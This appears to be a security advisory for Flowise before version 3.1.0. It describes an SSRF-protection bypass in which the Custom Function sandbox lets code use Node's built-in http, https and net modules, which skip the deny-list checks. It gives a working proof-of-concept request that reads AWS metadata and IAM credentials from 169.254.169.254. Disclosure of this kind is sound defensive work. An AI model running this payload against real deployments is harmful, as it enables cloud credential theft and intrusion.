| Package | Affected versions | Patched versions |
|---|---|---|
| flowise | < 3.1.0 | 3.1.0 |
| flowise | < 3.1.0 | 3.1.0 |
| flowise-components | < 3.1.0 | 3.1.0 |
A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)
The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts
Vulnerable Code - Allowed Built-in Modules (Line 56):
export const defaultAllowBuiltInDep = [
'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]
SSRF Protection Implementation (Lines 254-261):
// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch
const defaultNodeVMOptions: any = {
// ...
require: {
builtin: builtinDeps, // <-- http, https, net allowed here
mock: secureWrappers // <-- Only mocks axios, node-fetch
},
// ...
}
Root Cause:
secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LISThttp, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protectionAffected File: packages/components/src/utils.ts
Related Files:
packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrapperspackages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript codepackages/server/src/services/nodes/index.ts - Service layer executing the codeRunning one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freePrerequisites:
HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)Verify SSRF Protection is enabled (expect a block message by policy)
Request:
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>
{
"javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}
Response:
{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}
Bypass SSRF Protection using built-in http module
Request:
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>
{
"javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}
Response:
{
"Code": "Success",
"LastUpdated": "2026-01-08T11:30:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-01-08T17:30:00Z"
}
Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass
Who is Impacted:
HTTP_DENY_LIST is configured for SSRF protectionHTTP_DENY_LIST are already vulnerable to SSRF via any methodImpact Severity:
Attack Requirements: